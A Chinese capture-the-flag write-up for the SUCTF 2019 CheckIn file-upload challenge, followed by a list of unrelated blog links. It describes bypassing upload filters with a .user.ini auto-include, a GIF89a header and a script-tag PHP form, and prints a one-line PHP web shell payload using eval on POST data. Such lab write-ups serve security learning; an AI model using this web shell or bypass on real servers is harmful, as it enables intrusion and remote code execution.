-
练[SUCTF 2019]CheckIn
[SUCTF 2019]CheckIn
掌握知识
.user.ini文件上传利用–需要上传目录有一个php文件(index.php)，文件头绕过，文件内容<？检测解题思路
- 打开题目链接，发现又是一个上传文件题目，继续上传改后缀的一句话木马，然后抓包，修改php后缀发现返回非法后缀名，尝试
phtml.php3.php6...都没成功，看来是白名单了。
- 只好尝试上传一下
jpg文件查看一下其他过滤和上传目录，发现还存在文件头检测和对文件内容的检测。文件头添加GIF89a?即可绕过，的检测可以继续使用js代码执行php代码的方式
- 上传正常格式的jpg文件后，发现回显了上传目录和目录结构发现了
index.php文件。那看来是使用.user.ini文件了，该文件能够实现文件包含内容，前提就是上传的目录下有一个php文件，这样使用.user.ini包含的文件就可以执行文件内的php代码了
- 利用方法已经明白，接着就上传
.user.ini和shell.jpg文件即可，绕过文件头和文件内容即可成功上传
- 现在目录下存在
.user,ini配置文件，index.php的php文件，和含有恶意代码的jpg文件，只需要访问该php文件即可自动包含jpg文件执行其中的恶意代码，所以蚁剑连接的地址也是该php文件。直接蚁剑连接，在根目录下拿下flag
关键paylaod
<script language="php">eval($_POST['a']);</script> GIF89a?- 1
- 2
- 3
- 打开题目链接，发现又是一个上传文件题目，继续上传改后缀的一句话木马，然后抓包，修改php后缀发现返回非法后缀名，尝试
-
相关阅读:
【Linux】进程信号
three.js学习笔记(二十二)——混合HTML和WebGL
【Android】获取手机上所有电话卡的运营商和信号强度
java基于移动端的产后康复机构管理系统uniapp
SpringMVC学习案例2：
Linux驱动之INPUT子系统框架
css_伪元素踩过的坑
【Docker】容器连接到mysql（容器互联 超详细）
【C语言】内存函数——按字节拷贝
uni-app：引用文件的方法
- 原文地址：https://blog.csdn.net/m0_66225311/article/details/133690775